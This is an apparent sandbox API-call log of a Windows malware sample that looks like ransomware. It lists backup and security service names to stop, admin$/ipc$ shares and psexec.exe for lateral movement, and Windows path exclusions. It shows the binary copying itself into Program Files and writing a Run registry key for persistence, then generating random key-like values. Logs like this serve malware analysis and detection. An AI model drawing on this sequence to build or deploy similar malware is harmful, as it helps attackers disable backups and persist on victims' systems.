	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ARSM", AllocateDestinationString=1 | out: DestinationString="ARSM") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="A") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="AcrSch2Svc" | out: DestinationString="AcrSch2Svc") 
	[0059.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="AcrSch2Svc", AllocateDestinationString=1 | out: DestinationString="AcrSch2Svc") returned 0x0
	[0059.539] RtlFreeAnsiString (AnsiString="A") 
	[0059.539] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="vsnapvss" | out: DestinationString="vsnapvss") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="vsnapvss", AllocateDestinationString=1 | out: DestinationString="vsnapvss") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="v") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="SPXService" | out: DestinationString="SPXService") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="SPXService", AllocateDestinationString=1 | out: DestinationString="SPXService") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="S") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="StorageCraft ImageManager" | out: DestinationString="StorageCraft ImageManager") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="StorageCraft ImageManager", AllocateDestinationString=1 | out: DestinationString="StorageCraft ImageManager") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="S") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="wrsvc" | out: DestinationString="wrsvc") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="wrsvc", AllocateDestinationString=1 | out: DestinationString="wrsvc") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="w") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="stc_endpt_svc" | out: DestinationString="stc_endpt_svc") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="stc_endpt_svc", AllocateDestinationString=1 | out: DestinationString="stc_endpt_svc") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="s") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="acrsch2svc" | out: DestinationString="acrsch2svc") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="acrsch2svc", AllocateDestinationString=1 | out: DestinationString="acrsch2svc") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="a") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="reboot" | out: DestinationString="reboot") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="reboot", AllocateDestinationString=1 | out: DestinationString="reboot") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="r") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="restart" | out: DestinationString="restart") 
	[0059.540] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="restart", AllocateDestinationString=1 | out: DestinationString="restart") returned 0x0
	[0059.540] RtlFreeAnsiString (AnsiString="r") 
	[0059.540] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="shutdown" | out: DestinationString="shutdown") 
	[0059.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="shutdown", AllocateDestinationString=1 | out: DestinationString="shutdown") returned 0x0
	[0059.541] RtlFreeAnsiString (AnsiString="s") 
	[0059.541] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="logoff" | out: DestinationString="logoff") 
	[0059.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="logoff", AllocateDestinationString=1 | out: DestinationString="logoff") returned 0x0
	[0059.541] RtlFreeAnsiString (AnsiString="l") 
	[0059.541] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="back" | out: DestinationString="back") 
	[0059.541] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="back", AllocateDestinationString=1 | out: DestinationString="back") returned 0x0
	[0059.541] RtlFreeAnsiString (AnsiString="b") 
	[0059.542] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ipc$" | out: DestinationString="ipc$") 
	[0059.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ipc$", AllocateDestinationString=1 | out: DestinationString="ipc$") returned 0x0
	[0059.542] RtlFreeAnsiString (AnsiString="i") 
	[0059.542] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="admin$" | out: DestinationString="admin$") 
	[0059.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="admin$", AllocateDestinationString=1 | out: DestinationString="admin$") returned 0x0
	[0059.542] RtlFreeAnsiString (AnsiString="a") 
	[0059.542] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="psexec.exe" | out: DestinationString="psexec.exe") 
	[0059.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="psexec.exe", AllocateDestinationString=1 | out: DestinationString="psexec.exe") returned 0x0
	[0059.542] RtlFreeAnsiString (AnsiString="p") 
	[0059.542] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="system" | out: DestinationString="system") 
	[0059.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="system", AllocateDestinationString=1 | out: DestinationString="system") returned 0x0
	[0059.542] RtlFreeAnsiString (AnsiString="s") 
	[0059.542] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\windows*" | out: DestinationString="*:\\windows*") 
	[0059.542] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\windows*", AllocateDestinationString=1 | out: DestinationString="*:\\windows*") returned 0x0
	[0059.542] RtlFreeAnsiString (AnsiString="*") 
	[0059.542] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\winnt*" | out: DestinationString="*:\\winnt*") 
	[0059.543] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\winnt*", AllocateDestinationString=1 | out: DestinationString="*:\\winnt*") returned 0x0
	[0059.543] RtlFreeAnsiString (AnsiString="*") 
	[0059.543] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\program file*\\vmwar*" | out: DestinationString="*:\\program file*\\vmwar*") 
	[0059.543] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\program file*\\vmwar*", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmwar*") returned 0x0
	[0059.543] RtlFreeAnsiString (AnsiString="*") 
	[0059.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d68870) returned 1
	[0059.545] GetVersion () returned 0x3ad7000a
	[0059.545] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x2d7afa8 | out: Wow64Process=0x2d7afa8) returned 1
	[0059.545] GetCurrentProcessId () returned 0x113c
	[0059.546] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x272f9e4 | out: TokenHandle=0x272f9e4*=0x2d8) returned 0x0
	[0059.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x2d5b2a8
	[0059.547] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x2d5b2a8, TokenInformationLength=0x100, ReturnLength=0x272fa1c | out: TokenInformation=0x2d5b2a8, ReturnLength=0x272fa1c) returned 1
	[0059.547] IsWellKnownSid (pSid=0x2d5b2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), WellKnownSidType=0x16) returned 0
	[0059.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0059.547] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x12, TokenInformation=0x272f9f8, TokenInformationLength=0x4, ReturnLength=0x272fa1c | out: TokenInformation=0x272f9f8, ReturnLength=0x272fa1c) returned 1
	[0059.547] NtClose (Handle=0x2d8) returned 0x0
	[0059.547] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x272f9e0 | out: lpBuffer=0x0, nSize=0x272f9e0) returned 0
	[0059.547] GetLastError () returned 0xea
	[0059.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10) returned 0x2d7a678
	[0059.547] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x2d7a678, nSize=0x272f9e0 | out: lpBuffer="NQDPDE", nSize=0x272f9e0) returned 1
	[0059.547] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x2d5b2a8
	[0059.547] GetCurrentHwProfileW (in: lpHwProfileInfo=0x2d5b2a8 | out: lpHwProfileInfo=0x2d5b2a8) returned 1
	[0059.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d5c268
	[0059.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d771a0
	[0059.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d771a0) returned 1
	[0059.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d771f0
	[0059.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d770d8
	[0059.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d770d8) returned 1
	[0059.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x2d648a8
	[0059.549] sprintf (in: _Dest=0x2d648a8, _Format="%0.2x" | out: _Dest="c3") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648aa, _Format="%0.2x" | out: _Dest="f7") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648ac, _Format="%0.2x" | out: _Dest="e2") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648ae, _Format="%0.2x" | out: _Dest="c9") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648b0, _Format="%0.2x" | out: _Dest="6e") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648b2, _Format="%0.2x" | out: _Dest="de") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648b4, _Format="%0.2x" | out: _Dest="c0") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648b6, _Format="%0.2x" | out: _Dest="f6") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648b8, _Format="%0.2x" | out: _Dest="6d") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648ba, _Format="%0.2x" | out: _Dest="2b") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648bc, _Format="%0.2x" | out: _Dest="38") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648be, _Format="%0.2x" | out: _Dest="0e") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648c0, _Format="%0.2x" | out: _Dest="f1") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648c2, _Format="%0.2x" | out: _Dest="85") returned 2
	[0059.549] sprintf (in: _Dest=0x2d648c4, _Format="%0.2x" | out: _Dest="ec") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648c6, _Format="%0.2x" | out: _Dest="da") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648c8, _Format="%0.2x" | out: _Dest="1e") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648ca, _Format="%0.2x" | out: _Dest="38") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648cc, _Format="%0.2x" | out: _Dest="23") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648ce, _Format="%0.2x" | out: _Dest="8b") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648d0, _Format="%0.2x" | out: _Dest="01") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648d2, _Format="%0.2x" | out: _Dest="da") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648d4, _Format="%0.2x" | out: _Dest="56") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648d6, _Format="%0.2x" | out: _Dest="01") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648d8, _Format="%0.2x" | out: _Dest="90") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648da, _Format="%0.2x" | out: _Dest="d0") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648dc, _Format="%0.2x" | out: _Dest="b2") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648de, _Format="%0.2x" | out: _Dest="da") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648e0, _Format="%0.2x" | out: _Dest="b1") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648e2, _Format="%0.2x" | out: _Dest="10") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648e4, _Format="%0.2x" | out: _Dest="b5") returned 2
	[0059.562] sprintf (in: _Dest=0x2d648e6, _Format="%0.2x" | out: _Dest="a3") returned 2
	[0059.562] RtlInitAnsiString (in: DestinationString=0x272f990, SourceString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3" | out: DestinationString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3") 
	[0059.562] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f998, SourceString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3", AllocateDestinationString=1 | out: DestinationString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3") returned 0x0
	[0059.562] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x2d7adf0
	[0059.562] RtlFreeAnsiString (AnsiString="c") 
	[0059.567] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d79a20
	[0059.575] wcscpy (in: _Dest=0x2d79a20, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\"
	[0059.575] wcscat (in: _Dest=0x2d79a20, _Source="NQDPDE" | out: _Dest="\\\\NQDPDE") returned="\\\\NQDPDE"
	[0059.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d75db0
	[0059.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d79c20
	[0059.575] wcscpy (in: _Dest=0x2d79c20, _Source="\\\\NQDPDE" | out: _Dest="\\\\NQDPDE") returned="\\\\NQDPDE"
	[0059.575] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a20) returned 1
	[0059.575] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d771f0) returned 1
	[0059.575] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c268) returned 1
	[0059.575] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0059.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d799e0
	[0059.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d79b40
	[0059.575] wcscpy (in: _Dest=0x2d79b40, _Source="c3f7e2c9" | out: _Dest="c3f7e2c9") returned="c3f7e2c9"
	[0059.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20a) returned 0x2d5ad10
	[0059.575] wcscpy (in: _Dest=0x2d5ad10, _Source="C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe") returned="C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe"
	[0059.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20a) returned 0x2d7b950
	[0059.575] SHGetFolderPathW (in: hwnd=0x0, csidl=42, hToken=0x0, dwFlags=0x0, pszPath=0x2d7b950 | out: pszPath="C:\\Program Files (x86)") returned 0x0
	[0059.578] wcscat (in: _Dest=0x2d7b950, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0059.578] wcscat (in: _Dest=0x2d7b950, _Source="c3f7e2c9" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9") returned="C:\\Program Files (x86)\\c3f7e2c9"
	[0059.579] CreateDirectoryW (lpPathName="C:\\Program Files (x86)\\c3f7e2c9" (normalized: "c:\\program files (x86)\\c3f7e2c9"), lpSecurityAttributes=0x0) returned 1
	[0059.581] wcscat (in: _Dest=0x2d7b950, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9\\") returned="C:\\Program Files (x86)\\c3f7e2c9\\"
	[0059.581] wcscat (in: _Dest=0x2d7b950, _Source="c3f7e2c9" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9") returned="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9"
	[0059.581] wcscat (in: _Dest=0x2d7b950, _Source=".exe" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe") returned="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe"
	[0059.581] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wwllww.vexe.exe"), lpNewFileName="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe" (normalized: "c:\\program files (x86)\\c3f7e2c9\\c3f7e2c9.exe"), bFailIfExists=0) returned 1
	[0059.591] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0x272f948 | out: phkResult=0x272f948*=0x2dc) returned 0x0
	[0059.591] RegSetValueExW (in: hKey=0x2dc, lpValueName="c3f7e2c9", Reserved=0x0, dwType=0x1, lpData="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe", cbData=0x5a | out: lpData="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe") returned 0x0
	[0059.592] wcscpy (in: _Dest=0x2777198, _Source="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe" | out: _Dest="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe") returned="C:\\Program Files (x86)\\c3f7e2c9\\c3f7e2c9.exe"
	[0059.592] RegFlushKey (hKey=0x2dc) returned 0x0
	[0059.792] RegCloseKey (hKey=0x2dc) returned 0x0
	[0059.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b950) returned 1
	[0059.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d771a0
	[0059.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d771f0
	[0059.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77218
	[0059.793] NtQuerySystemTime (in: CurrentTime=0x272f9a4 | out: CurrentTime=0x272f9a4*=132251867865279505) returned 0x0
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x13ae0e0f
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xff6c68a8
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xa5fe7abd
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xd1d6f5ae
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x44adf4ef
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x90e6959c
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x6afd855a
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x8626789e
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xc6433a5d
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x3668bfe
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xfa47d1d3
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xc3d2a3ca
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x2803e83d
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xb2a6c4fb
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x196d5b71
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xd7e8ddf1
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xbfd62c05
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xef64a6c1
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x4f33a167
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xaee3eca1
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x3b881a8a
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xfe2e1b26
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x8005a903
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xf1a87e7
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xc8254013
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x9efaf308
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x99239fb9
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x22c8d2c3
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x4a0ad47a
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xa9891e1c
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0xb3fd5848
	[0059.793] RtlRandom (in: Seed=0x272f9b0 | out: Seed=0x272f9b0) returned 0x1a269d0d
	[0059.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0059.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0059.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76e30
	[0059.805] NtQuerySystemTime (in: CurrentTime=0x272f964 | out: CurrentTime=0x272f964*=132251867865435921) returned 0x0
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x3dfc525c
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x899c3c16
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xf79792d8
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x85b68566
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xa32210ee
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x970f1e59
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xea54519d
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xca71e22f
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xdb5c9673
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xc1d18696
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xda5183c9
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x621371ff
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x47743bfe
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x95786eca
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x4946925b
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xee350aa5
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x653c387e
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x32768307
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xaf7b0eb7
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x1d1aae1
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x509a3284
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x11e618fc
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xedc4a13b
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x9830c8fe
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xaed26347
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xe0c921f5
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xedd82a6
	[0059.805] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x505b444c
	[0059.806] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0x2a678a70
	[0059.806] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xee1c53d4
	[0059.806] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xe859768e
	[0059.806] RtlRandom (in: Seed=0x272f970 | out: Seed=0x272f970) returned 0xc2b2569e
	[0059.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0059.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d5c268
	[0059.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0059.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c268) returned 1
	[0059.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76e30) returned 1
	[0059.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0059.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73228
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d5c268
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d770d8
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c268) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73228) returned 1
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d5c268
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d770d8) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77218) returned 1
	[0059.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d771a0) returned 1
	[0059.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d78aa8
